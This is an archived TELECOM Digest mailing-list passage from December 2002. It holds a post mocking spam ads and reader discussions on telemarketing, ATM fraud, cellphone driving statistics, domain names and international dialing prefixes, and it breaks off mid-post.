dhorvath@cobs.com (David B. Horvath, CCP) Subject: Business Directory Has Been Quiet There haven't been many entries for the business directory recently. Here are a few: The first one provides web and email marketing services: Find out more about our advanced Interactive web presence capabilities, Interactive E-mail Marketing and our traditional advertising and marketing services. Call 800-993-8622 or 717-569-8826 Ext. 24 for more information or click on the links below. LMI Advertising Website The second worries about your health and are nice enough not to telemarket: We dislike receiving annoying telemarketing calls too. So we have provided you with our 800 number so you can call us, and please call us to place an order or if you have any questions about this life changing product. Call today (800)339-6392 The third one is a big name: Omaha Steaks are an impressive gift! And your satisfaction is 100% GUARANTEED, so you can be sure every gift you send will be perfect and appreciated! And don't forget, Omaha Steaks will send 12 beefy, quarter- pound Burgers absolutely FREE to every shipping address in your order. Simply select your FREE Burgers at checkout. For fastest service use any link in this e-mail to shop online or call toll-free 1-800-960-8400 (please ask for your selection numbers)! The funny thing about the Omaha Steaks email I received was that it looked like it wasn't ready to be sent out: PUBLISHER: PLEASE WRAP PERMISSION VERBIAGE AND OPT-OUT INSTRUCTIONS TO BOTH THE TEXT AND HTML VERSIONS. PLEASE USE THE WHITE SPACE PROVIDED FOR DISCLOSURE COPY WITHIN THE HTML (OR WRITE THE COPY IN WHITE FONT AGAINST THE GREEN BACKGROUND). SEED: miker@osmail.com TO THE TEST LIST AND TO RECEIVE THE ACTUAL. APPROVAL PRIOR TO DEPLOY IS MANDATORY! Lastly, please provide circ counts and day of deployment PRIOR to any distribution. Subject Line: Get 12 free Burgers + Save up to 50% Email Copy: (actual message appeared here) A fourth entry for the directory is another email marketing firm: Do you have an on-line business or product that just hasn't taken off like you thought it would? Targeted e-mail is the most POWERFUL method of marketing on the internet today! Now, what are you waiting for? Give it a try. At these rates, you've got nothing to lose except repeat visitors and customers! CONTACT ""MAIL-PUSHERS"" FOR AVAILABILITY AT, {{888}{8-4-6-7-2-6-6}}-call now! {{716}{8-1-2-2-1-4-4}}-customer care! {{253}{6-6-0-1-2-3-5}}-fax! LIVE Advocate,s Are On Stand By From 9:00am to 12:am Midnight To Take Your Call!! David [TELECOM Digest Editor's Note: Is anyone still playing this 'pollute their 800 number' game? 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End of TELECOM Digest V22 #176 ****************************** >From editor@telecom-digest.org Thu Dec 12 00:57:19 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBC5vJc29057; Thu, 12 Dec 2002 00:57:19 -0500 (EST) Date: Thu, 12 Dec 2002 00:57:19 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212120557.gBC5vJc29057@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #177 TELECOM Digest Thu, 12 Dec 2002 00:57:00 EST Volume 22 : Issue 177 Inside This Issue: Editor: Patrick A. Townson Re: Telemarketing Satisfaction (Steven J. Sobol) Re: Cingular Reveals Incoming Blocked Numbers (Monty Solomon) George Gilder: Why I Trust Ken Lay (Monty Solomon) Re: Portable ATM's an Invitation to Fraud? (H.E. Taylor) Re: Study: Car Call Value Equals Crash Cost (Bob Goudreau) Re: Study: Car Call Value Equals Crash Cost (Henry E Schaffer) Re: It Has Started: Re: dot kids, was Re: Ten TLD's (smith2@tecnet1) Re: Ten TLD's (Henry E Schaffer) Re: Portable ATM's an Invitation to Fraud? (David B. Horvath, CCP) Re: Portable ATM's an Invitation to Fraud? (David Clayton) Re: Court Rules Internet Case Can be Heard in Australia (David Clayton) Re: Listing in areacode-info.com and TELECOM Digest (John Higdon) Re: 011+ From NANP vs. 00+ From Most of World (Mark J Cuccia) Re: 011+ From NANP vs. 00+ From Most of World (David Clayton) Re: SL-1 Incoming Cot Call Routing (David Clayton) Nextel Targets Industrial Sector With Two New Motorola (Monty Solomon) Re: The Farce of National Branding (George Mitchell) Re: Court Rules Internet Case Can be Heard in Australia (Peters Mark) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Telemarketing Satisfaction Date: Tue, 10 Dec 2002 22:07:15 -0000 Organization: JustThe.net LLC From 'Joey Lindstrom' : > We have requested that your name be removed from any and all > telemarketing lists we have. While it can take 2-4 months to be sure > your name is removed from all of our lists, we have put a 'rush' on > this request so it will be handled on a priority basis. To remove your > name from other lists, you may want to contact the Canadian Marketing > Association, at 416-3941-2362. Not bad overall, but this bull from large businesses that it'll take months to remove you is ridiculous. I'd follow up with a letter that says ""thanks for attempting to expedite my removal, but X weeks is plenty, and any calls received after X weeks will generate complaints to the CRTC."" Where X is a number of your choosing - I'd say 2-4 would be reasonable. Actually, 1-2 should be enough. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ Date: Tue, 10 Dec 2002 17:44:26 -0500 From: Monty Solomon Subject: Re: Cingular Reveals Incoming Blocked Numbers This kind of behavior is expected when calling 800, 888, 877 and 866 toll-free numbers, but is not expected when calling a cellular phone. Many times you don't even know that you are calling a cell phone. Monty ------------------------------ Date: Tue, 10 Dec 2002 17:58:18 -0500 From: Monty Solomon Subject: George Gilder: Why I Trust Ken Lay George Gilder: Why I Trust Ken Lay - Dec 23, 2002 12:00 AM (Forbes Magazine) Why I trust the most disgraced chief executive more than I do the most reputable public servant. Why do I trust Gary Winnick and Jeffrey Skilling -- nefarious former chief executives of notoriously bankrupt companies -- more than I trust Senator John McCain of vaunted valor in prison camps or David Broder of Pulitzer fame or Senator Joseph Lieberman of famously flinty integrity? Why do I trust Kenneth Lay of Enron and Bernard Ebbers of WorldCom more than I trust Justices William Rehnquist and Antonin Scalia, the stalwart intellectual leaders of a nominally conservative Supreme Court, or even George W. Bush, that most trusted of Presidents? Why do I trust General Electric chief emeritus Jack Welch or AT&T Chief Michael Armstrong more than I trust the entire scientific and environmental coverage in the New York Times and all the venerable editors of the increasingly political Scientific American ? Why do I trust Martha Stewart and ImClone 's Sam Waksal far more than I trust the crusading journalist James B. Stewart or New York State Attorney General Eliot Spitzer, trustbuster deluxe, as they righteously seek to banish moneylenders, marketmakers and conflicts of interest from the temples of Wall Street? - http://finance.lycos.com/home/news/story.asp?story=30476712 ------------------------------ From: H.E. Taylor Subject: Re: Portable ATM's an Invitation to Fraud? Date: Wed, 11 Dec 2002 05:28:08 GMT Organization: MTS Internet In article , Chris N Acuma wrote: > [shouting elided] There have been a flurry of ATM fraud cases in Canada lately, with some relatively large numbers appearing. In at least some of these cases, the technique has been to put up bogus machines to capture card data and PIN. Why bother with intercepting radio when you can do that? http://cbc.ca/storyview/CBC/2002/12/03/atm021203 het ""There are some among us who live in rooms of experience we can never enter."" -John Steinbeck Energy Alternatives: http://www.autobahn.mb.ca/~het/energy.html H.E. Taylor http://www.autobahn.mb.ca/~het/ ------------------------------ Date: Wed, 11 Dec 2002 10:49:16 PST From: Bob Goudreau Reply-To: BobGoudreau@nc.rr.com Subject: Re: Study: Car Call Value Equals Crash Cost dold@47.usenet.us.com wrote: > Larry & Wanda Finch wrote: >> If cell phones truly cause accidents, you would expect the accident >> rate to have soared over the past few years. Yet it hasn't. Perhaps >> it's certain drivers who cause accidents, and if they didn't have cell >> phones they would cause the accidents for a different reason. > The portion of the study that I heard quoted indicated that 26,000 > people died last year as a result of an accident while someone was on > a cell phone. If that's truly what the study claimed, and the numbers are limited to the United States only, then it is certainly a crock of nonsense. The *total* number of annual road deaths in the US last year was around 42,000, a level which has held at roughly the same level for quite a few years. Of course, the population rises every year, so the true figure of interest is the number of deaths per distance driven. This number has been slowly but steadily falling for many years, and is now at a level of (IIRC) ~1.5 fatalities per 100 million vehicle miles traveled. Curiously, this is almost exactly the same rate as found in the United Kingdom, which I understand has laws banning the use of handheld mobiles while driving. So if the skyrocketing use of mobile phones in general, and handheld mobiles in particular, has really added a significant level of danger to driving the in the US, then one would expect to see a noticeable trend in the road death statistics. And yet we don't seem to see such a trend. To those who point out that road and cars are safer now than they were a decade ago, I agree -- but so what? The same could be said in 1992 with respect to the road and cars of 1982. The secular trend of the curve in the fatality rate graph is still not noticeably different than it was back then. (Of course, the rate of decline is still itself declining, as the overall death rate approaches, but will never reach, zero.) Phil Earnhardt wrote: > What I would like to see is the delta in the numbers between regular > cell phone users and hands free cell phone users. Antecdotally, I do > not mind hands free users (I suspect I don't even notice many of > them). If hands free usage is found to be significantly safer than > handheld usage, I would like to see hands free use mandated. Anecdotally, a lot of people (including various national and state legislatures) seem to feel the same way. Surprisingly, however, the first major study of mobile phone usage while driving, conducted several years ago by the University of Toronto, actually found *no difference* between the accident rates of hands-free and hand-held users! Bob Goudreau Cary, NC ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: Study: Car Call Value Equals Crash Cost Date: Wed, 11 Dec 2002 21:28:53 +0000 (UTC) Organization: North Carolina State University In article , > [TELECOM Digest Editor's Note: And television sets are still banned > from use in automobiles, at least in the front seat. PAT] Could that be the explanation for the well known phenomenon that *many* accidents happen in the back seat of an automobile? :-) --henry schaffer hes@ncsu.edu ------------------------------ From: Date: Wed, 11 Dec 02 09:41:57 EDT Subject: Re: It Has Started: Re: dot kids, was Re: Ten TLD's > From the Neustar support site: OVERVIEW The .US top-level domain (usTLD) was established in 1985 as the official country code top-level domain (ccTLD) for the United States. It is administered by NeuStar. The expanded second-level .US domain launched on April 24, 2002, enabling companies, nonprofits, government entities and individuals to establish unique, memorable American addresses online. STRUCTURE The existing .US structure is a locality-based hierarchy modeled on the geography of the United States. Most usTLD branches in the locality space are overseen by delegated managers (also known as ""delegees"" or ""locality delegees""). This existing hierarchical design provides structure, name uniqueness and a geographic reference point for registrants. NeuStar maintains and enhances this locality-based structure even as it administers the expanded second-level .US domain. Please contact us with questions at (1-888) 415-0365 or (202) 533-2721, or via email at support.us@neustar.us. (C)2001-2002 NeuStar, Inc. All Rights Reserved. Policies. Privacy Policy. Comments about this website? Please e-mail: web@neustar.us. ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: Ten TLD's Date: Wed, 11 Dec 2002 15:49:11 UTC Organization: North Carolina State University In article , Pat wrote: > [TELECOM Digest Editor's Note: And don't forget '.us' as one in > somewhat infrequent use. PAT] There really has been a rush to use .com - someone mentioned that it is the default used by some browsers - and the general public seems to be convinced that it is necessary. This has been so much so that the State of North Carolina changed its web site from: http://www.state.nc.us/ to http://www.ncgov.com/ in order to fit in with what the general public expects. (They keep the old URL and redirect hits to it to the new one.) henry schaffer hes@ncsu.edu ------------------------------ Date: Wed, 11 Dec 2002 19:08:38 EST From: dhorvath@cobs.com (David B. Horvath, CCP) Subject: Re: Portable ATM's an Invitation to Fraud? On Mon, 09 Dec 2002 21:54:07 MST, acuma@aztec.asu.edu (Chris N Acuma) posted: > SUSPECT THE ATM'S ARE EQUIPPED WITH EITHER CELL PHONES OR SOME OTHER > FORM OF RADIO GEAR TO ALLOW THEM TO VERIFY BANK BALANCES. FIRST > DOES ANYBODY KNOW HOW THESE PORTABLE ATM TALK TO THEIR REMOTE > COMPUTERS? Cellular - most often CDPD (Cellular Data Packet and I forget what the last D stands for). Essentially they use TCP/IP over cellular. The last time I worked with it you could get connection speeds up to 19.2 Kbps which is much more than enough for an ATM transaction. > AND SECOND IF THEY USE RADIO WAVES I SUSPECT THATS AN OPEN > INVITATION FOR FRAUD. ANY COMMENTS ON THAT? One word: encryption. And it isn't just a simple ""here's my password, where's my data"" transaction, there is significant handshaking and protocols that have to be used. In another life I worked for an ATM network; I worked on back-office software (billing and settlement) but I did get exposure to the ATM handling part. There are two different kinds of fraud that I envision in this situation: stealing account numbers and PIN or convincing the machine to give currency without deducting it from an account. The first would involve monitoring the traffic for that machine, but remember that the traffic is encrypted and PIN is never sent in the clear (it is encrypted before being put into the packet being sent; the packet itself is encrypted). The second would involve taking over the cellular traffic (overriding the local tower), pretending to be the bank, and figuring out the instructions that say ""spit out X dollar bills"" (not easy, and besides, those portable machines don't hold much cash). ONE NOTE: please do not use ALL CAPS. It is hard to read and is interpreted as being ""shouts"". David B. Horvath, CCP Consultant, Author, International Lecturer, Adjunct Professor Board Member: ICCP Educational Foundation, ICCP Test Council, and Philadelphia Association of Systems Administrators ------------------------------ From: David Clayton Subject: Re: Portable ATM's an Invitation to Fraud? Date: Thu, 12 Dec 2002 14:22:43 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au acuma@aztec.asu.edu (Chris N Acuma) contributed the following: > AND SECOND IF THEY USE RADIO WAVES I SUSPECT THATS AN OPEN INVITATION > FOR FRAUD. ANY COMMENTS ON THAT? Here in Australia we've recently had a spate of ATM fraud where machines were equipped with ""skimmers"" to record the card's mag stripe data and they also stole you PIN by having ""pinhole"" cameras mounted above the keypads. Once the crook has both of these, it's then ""party time"" with your funds. Also in some ATM locations where you need to swipe a card to gain entrance to a secure room have been hit in a similar way, but the publicity now has people on the lookout for any strange ""additions"" to the card swipe equipment and arrests have been made. If ""portable"" ATM's become common, it is possible that people won't be familiar with this equipment and the ""skimming"" fraud may have more opportunity to occur as a result of this. Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: David Clayton Subject: Re: Court Rules Internet Case Can be Heard in Australia Date: Thu, 12 Dec 2002 14:22:44 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au Monty Solomon contributed the following: > - Dec 9, 2002 09:07 PM (Reuters) > CANBERRA, Dec 10 (Reuters) - Australia's highest court ruled on > Tuesday that a defamation case sparked by a story on a U.S Web site > could be heard in Australia, opening a legal minefield for web > publishers over which libel laws they must follow. > The landmark ruling that an article published by Dow Jones & Co > (NYSE:DJ) was subject to Australian law -- because it was downloaded > in Australia -- is being watched by media firms as it could set a > precedent over where Internet publication occurs. The basis of the decision (I believe) was that because the article was available in a location where the person had a reputation that could be damaged, the case must be heard in that jurisdiction. Some people have ""scaremongered"" that anyone publishing on the 'net will now have to take into account the defamation laws *all* around the world, but in reality this decision should only make it necessary to take into account the laws where any defamation could actually occur. - see, it's not as bad as first thought...... :-( Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: John Higdon Subject: Re: Listing in Areacode-Info.com and TELECOM Digest Organization: Green Hills and Cows Date: Wed, 11 Dec 2002 16:16:52 -0800 In article , Daniel Baker wrote: > The sites description is: U.S. Directories of: Local Telephone Service > Providers (Local Exchange Carriers) AND Contractors who Add / Repair > Inside Wiring & Jacks. > I also have some advertising banners available at > www.telephoneservicedirectory.com/banners.htm I dutifully entered my area code and prefix to get a listing of local providers serving my area. It responded with: ""There are No Listings of Advertisers who serve the 408 Area Code and 264 Prefix. You might see if there is another Prefix being used in your immediate area (see suggestions on entry form)."" Excuse me. 408/264 (historical ANdrews 4) is THE flagship exchange of the Pacific Telephone ... er ... Pacific Bell ... uh ... SBC SJ12 central office. it dates back to the mid-fifties. If that web site cannot give any information for that area code/prefix combo, it isn't worth much. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Wed, 11 Dec 2002 18:50:47 CST From: Mark J Cuccia Subject: Re: 011+ From NANP vs. 00+ From Most of World John Levine wrote: > When I'm away from home, I never direct dial long distance calls. > I always use some kind of calling card. > In North America, that means that I call an 800 number to get to the > calling card system. Other places, it invariably means that I call > some country-specific code, usually an 0800 number or something like > that. Except in the rare cases where I'm using a local phone card to > make the call (which I think I did once or twice in France), the > international dialing prefix is irrelevant. EXACTLY !!! This is something that many of the replies ""conveniently"" have ignored, or ""downplayed"". Why should ANYONE who doesn't actually *LIVE* here in the NANP (for any period of time) even *CARE* what our (sent-paid toll) IDDD or intra-NANP access digits/prefixes even *ARE*!? If you are not at your home telephone (or your OWN cellular phone), and you need to make toll calls, whether in the same country code or to a different country code, if you are calling from a pay/coin/public phone, or your PBX at work (for NON work-related toll calls), or a motel/hotel/ hospital room, most would be more likely to use their calling card, pre-paid card, etc., even if this also means ""home country direct"" access. You'll dial whatever the toll-free number happens to be, to access the platform of the carrier of your choice. Even the ""domestic sent-paid toll"" prefix, whether it is '0+', '1+' or anything else, shouldn't matter to you if you aren't at the phone line that YOU are paying for! Of course, it might happen to be that the toll-free number ""itself"" has to first be prefixed with a 0 or 1, as in the 1+800/888/etc. in the NANP, or in many other countries, the '0' before the 800 (but always written as a block, 0800-), that prefix being the same as a ""toll-indicating/accepting"" or ""out-of-home-area- code"" access prefix. Even a UIFN number might be your ""home country direct"" access number, but the carrier issuing you the card/account will inform you of the access numbers including ALL needed digits, to use FROM the country you are visiting ... i.e., you might be using a UIFN number as 00800+etc. from one country, and it could be the ""same"" UIFN home-country direct number from the NANP but as 011+800-etc. If you are buying a ""prepaid"" type of card for placing calls, even if you have to dial a ""prefix"" to indicate that you are then dialing a toll-free number to access the card platform, the instructions that come with the card will indicate what is to be dialed. You don't really have to ""know"" what that the sent-paid toll prefix might happen to be the access digit(s) for placing calls to toll-free numbers. And, if your ""host"" *PERMITS* you to place domestic calls or international calls ""sent-paid"" to HIS (or her) line at home (or from work, if the PBX or individual work lines are ""unrestricted""), then that is *THEIR* choice, and they would probably tell you to dial 011+ before the country-code/etc. if calling from the NANP. And then, if you choose to carry your own wireless phone with you on your overseas travels, you probably have an international calling and roaming plan. And as has been mentioned here several times, many GSM phones have a way for you to indicate a ""PLUS"" (+) symbol as part of entering/keying your destination dial-string, a leading '+' symbol tells the phone OR the cellular switch that the keyed destination number digits are strictly in the full worldwide format. You don't even have to ""know"" what the IDDD access prefix happens to be from the calling country you are in/visiting! NOBODY should be ""expecting"" that the NANP ""adopt"" in parallel, or worse completely change over, to 00+ for IDDD sent-paid (or even special billing). If you don't ""pay"" for that line, then it is NONE of your business WHAT codes happen to be used! (Of course, most of us ARE ""telephone geeks"" who are INTERESTED in what different countries of the world might use, but it should only be simply a matter of interest and curiousity, and NOT to demand that we must change). Actually, ""special billing"" services, traditionally from the NANP dialed as 0+ (for intra-NANP domestic, where the area code / ten-digit NANP number does *not* begin with '0' or'1') or 01+ (for IDDD, and since you can't call intra-NANP this way, the country code does *NOT* begin with '0' or '1') ... it is BETTER these days for one to place ALL card or special billing calls NOT as 0+/01+, but rather via a 1-800/888/etc. ""dialup"" to the carrier's platform -- for the CARRIER of YOUR choice, preferably the carrier who issued you the card which you probably have a savings/discount plan for! Even when using 101-XXXX+ 'CIC' codes for indicating your carrier on 0+/01+ dialing, you still can expect routing/service AND billing/rate/ charging ""surprises"". Using the toll-free access numbers indicated by your carrier on the back of your card to access their card/operator menu platform, you are probably ""better off"" with all of the private payphones, PBX operator ""services"" (hotels/motels/hospitals/etc), and even cellular systems trying to route you to who THEY want to route you to (and bill you thru) on traditionally dialed 0+/01+. That's one of the reasons why AT&T is most certainly marketing 1-800-CALL-ATT for using the AT&T calling card when away from your home phone and placing ""toll"" calls, originating from the US and Canada ... (Hopefully, one makes certain to LISTEN to the branding/prompting/menu/etc when using 1-800- type dial-ups, due to the SLEAZE operator entities who want you to ""fat-finger"" dial, but that's another story!) Mark J. Cuccia New Orleans LA ------------------------------ From: David Clayton Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Thu, 12 Dec 2002 14:22:41 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au Linc Madison contributed the following: > For that matter, when is the U.K. going to change over to the > international standard that says that you drive on the right side of > the road? That is a difference that is ""unnecessary, expensive, and > dangerous."" How many accidents are caused every year by people from > right-drive countries in driving left-drive countries, or vice-versa? I believe that there is going to be a trial where bus and truck traffic in the UK will start using the RHS of the roads and if proved successful, cars will follow at a later time. :-) Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: David Clayton Subject: Re: SL-1 Incoming Cot Call Routing Date: Thu, 12 Dec 2002 14:22:42 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au rgpnyc@yahoo.com (Rich) contributed the following: > I have been trying to figure this one out, but have been unable to > find a solution. > Currently our system handles incoming calls via T1 and outgoing calls > via several cots. The problem that I have is that when someone places > a call, the number that shows and registers in the caller ID is the > cot number and not the actual DN. There has been several occassions > where a prank call has been placed and the individual calls back the > cot number. The cot number is setup to route to the attendant. I have > been trying to change this for the last two days. Is there a way to > route to a partuicular DN or a RAN route? If someone using your PBX is making ""prank"" calls then why wouldn't you want to be told about them by letting your attendant answer them? You should then make a note of the outgoing COT and investigate the SMDR records to find out who in your organisation is abusing the telephone system. BTW, I believe you can route individual COTS to DN's on a SL-1, but I can't remember how it is done, (I think I've seen it done for incoming Fax numbers). Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ Date: Wed, 11 Dec 2002 19:56:20 -0400 From: Monty Solomon Subject: Nextel Targets Industrial Sector With Two New Motorola Nextel Targets the Industrial Sector with Two New Motorola Handsets That Adhere to Military Standards for Durability - Dec 11, 2002 12:13 PM (BusinessWire) RESTON, Va.--(BUSINESS WIRE)--Dec. 11, 2002--Nextel Communications, Inc. (NASDAQ:NXTL) today unveiled two new phones, the Motorola i35s and the GPS-enabled Motorola i58sr. Both handsets have been designed with a focus on durability in order to meet the needs of customers in industrial sectors such as construction and public safety. In addition, both models offer non-slip rubber grips, and adhere to Military Standards 810 C/D/E for resistance to dust, shock and vibration, for additional protection in harsh working environments. - http://finance.lycos.com/home/news/story.asp?story=30496192 ------------------------------ From: George Mitchell Subject: Re: The Farce of National Branding Date: Wed, 11 Dec 2002 16:59:44 -0800 Organization: Posted via Supernews, http://www.supernews.com John Higdon wrote: > Brands used to mean something. Companies were founded, they created > products, and they identified them as unique with brand names. Today, > as a general rule, products are created and manufactured in nameless, > faceless foreign labs and factories and sold in bulk to a marketing > company, which puts its brand on it. Certainly more true than it used to be, but there are still some brands that mean something. The only example that comes to mind, offhand, is Hershey. What I've noticed lately is a correlation between a company buying the rights to name a sports arena, followed within a couple of years by severe financial trouble at the company ... -- George Mitchell (obfuscated email address) ------------------------------ From: PETERS MARK Subject: Re: Court Rules Internet Case Can be Heard in Australia Date: Wed, 11 Dec 2002 20:27:55 -0600 The entertainment industry wants cases involving file sharing with a non-US firm held in California court under US laws. What is sauce for the goose should be sauce for the gander. In article , Monty Solomon wrote: > - Dec 9, 2002 09:07 PM (Reuters) > CANBERRA, Dec 10 (Reuters) - Australia's highest court ruled on > Tuesday that a defamation case sparked by a story on a U.S Web site > could be heard in Australia, opening a legal minefield for web > publishers over which libel laws they must follow. > The landmark ruling that an article published by Dow Jones & Co > (NYSE:DJ) was subject to Australian law -- because it was downloaded > in Australia -- is being watched by media firms as it could set a > precedent over where Internet publication occurs. > - http://finance.lycos.com/home/news/story.asp?story=30464648 ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 12 Dec 2002 01:19:35 -0400 From: Monty Solomon Subject: Replay it Again, Sam Personal video recorders already have Hollywood running scared. Now Microsoft is pushing a new computer that will make trading TV shows as easy as using ... Napster. By Farhad Manjoo Dec. 9, 2002 | ""Like Mr. Ed,"" says Craig Newmark, ""I never speak until I have something to say."" It's a crisp fall morning in San Francisco, and Newmark, sipping coffee at his neighborhood cafe, is in the middle of a long discussion of the ethics involved in watching television. He's invoked TV's talking horse to explain his fight with TV's fat cats: He's suing the media companies whose executives have been calling people like him -- people who use personal video recorders, or PVRs, such as TiVo and ReplayTV -- ""thieves."" But Newmark, the founder of Craig's List, one of the most popular community sites on the Web, wants to talk about more than just television. He prefers to focus on ""fairness,"" a concept that is dear to him, and that he says ought to be at the heart of not only TV but the distribution of all art. Having been indirectly accused by entertainment industry executives and attorneys of ""copyright infringement"" simply for using his beloved ReplayTV, Newmark has had reason, unlike many Americans, to think about whether the way he watches TV is ""fair."" Is he being unfair if he sets his ReplayTV to record an episode of ""The West Wing,"" one of his favorite shows, so he can watch it later? Is Newmark ""stealing"" from David Letterman -- ""my TV pal"" -- if he sets his Replay to skip the ads on ""The Late Show""? And are artists really going hungry, and is Newmark really killing an industry, if, once in a while, he transfers some of the shows he records on his ReplayTV to his notebook computer, so he can watch TV while he's traveling? http://www.salon.com/tech/feature/2002/12/09/pvr/ ------------------------------ Date: Thu, 12 Dec 2002 00:19:57 -0400 From: Monty Solomon Subject: Denmark Bills Users for Downloads By Peter Rojas 02:00 AM Dec. 11, 2002 PT A group affiliated with the Danish music, film and software industries has been sending out invoices to users of peer-to-peer file-sharing networks like Kazaa and eDonkey, demanding payment for downloaded copies of songs, movies or video games. Earlier this year, AntiPiratGruppen (Anti-Piracy Group) began tracking the activities of Danish users of file-sharing networks, and then contacting the appropriate Internet service providers demanding users' names and addresses. Late last month, with contact information in hand, the group began mailing out invoices, charging $8 per album, $25 per movie and $40 per video game that appeared in a user's shared folder. The group threatened invoice recipients with legal action should the sum demanded remain unpaid. http://www.wired.com/news/digiwood/0,1412,56717,00.html ------------------------------ Subject: Helping Phone Line Quality in BFE From: news082702@mallet.mailshell.com Organization: Prodigy Internet http://www.prodigy.com Date: Wed, 11 Dec 2002 22:00:00 GMT I hope someone can point me in the right direction for getting useful advice on this matter. My girlfriend lives on a farm several miles out of town, near Punxsutawney, PA. For several years, we've tried at various times to get her internet service at her home. Invariably, we can never get any modems to handshake on her phoneline. I suspect its poor line quality, but not being a phone line expert, I'm not entirely sure. We've tried a wide variety of modems (none of them WinModems), and have tried various baud rates as well, thinking slower speeds might accomodate a connection. Sadly, that had no effect. We've tried to connect to remote modems both local to the area as well as long distance (both via 800 toll free, and via toll calls). This didn't seem to make any difference either. We've also tried a ""line filter"" (I think that's the name for it) that was gotten at a local Radio Shack and goes inline between the computer and the wall jack. Consistently, when trying to dial out, the other end will answer, and then the modems will squeal and chirp back and forth at each other until the connection attempt times out, never able to establish a proper handshake. We've had the phone company out to the residence and they did some stuff to the phone box on the outside of her house, but it didn't seem to make any difference. Unfortunately, $$$ prevent her from trying one of the satellite-only based internet access services that have come around in the past several years. So ... I'm wondering two things: 1) Is there anything we can do at her end to try and improve phone line conditions so the connection will succeed? 2) Is there something we can say to the phone company that will convince them to do something to improve the line conditions? Your assistance is appreciated!!! ------------------------------ From: BHAX Subject: Adding Voicemail to Norstar+ Compact ICS Organization: Prodigy Internet http://www.prodigy.com Date: Thu, 12 Dec 2002 00:03:47 GMT I have a Norstar+ Compact ICS that I want to add voicemail to. Is the NVM 4.0 just an upgrade card or is it a seperate system? Thanks, BHAX ------------------------------ From: kimbrennan@aol.comfrtz.com (KimBrennan) Date: 11 Dec 2002 22:53:24 GMT Organization: AOL http://www.aol.com Subject: Re: Off-Topic, But ... Our esteemed moderator scribes: > The oldest civilizations in the world lasted a few hundred years before > they were detroyed. How long did the Roman empire last? The Romans managed to migrate out of Rome itself and into Byzantium. In that sense the ""Roman"" empire lasted for nearly 1800 years (300 BC to around 1500AD). The Chinese empire lasted for longer. There were several changes at the top, but since the real power in China was the local governors, the changes at the top at little influence on most of the populace. But your point is well taken. The Western Roman Empire got arrogant and then overrun. The Eastern Roman Empire, on the other paw learned out to accomodate itself to its neighbors (much to the consternation of later Western European rulers). The danger that the US faces is internal. The last few years have seen people give up many if not all of their rights to privacy and freedom of expression. The laws clamping down on the Internet (returning to topic) are just one level of that loss. ""I'm sorry, all my money is tied up in currency."" W.C.Fields ------------------------------ Date: 12 Dec 2002 00:17:19 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Call Waiting Prison and Telemarketers Organization: I.E.C.C., Trumansburg NY USA > I've NEVER had Call Waiting and don't miss it AT ALL! On one of my lines I have forward-on-busy to voice mail, which gets rid of telemarketers pretty well. It's only $3.95/mo. But on my other line I have a wonderful feature that I refer to as Call Defer. If someone tries to call me while I'm already on the phone, Call Defer automatically activates and alerts the caller via a special intermittent tone that they'll be able to enjoy my full and uninterrupted attention if they call back later. Remarkably, this feature is provided by my phone company at no charge. Perhaps if we tell more people about it, they'll get the hint. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Joseph Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Wed, 11 Dec 2002 21:57:06 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On Tue, 10 Dec 2002 22:02:22 GMT, Richard D G Cox wrote: > But there is one overriding reason for having standardisation and that > is the increasing use of the Internet. Web pages more commonly show > people complete numbers to 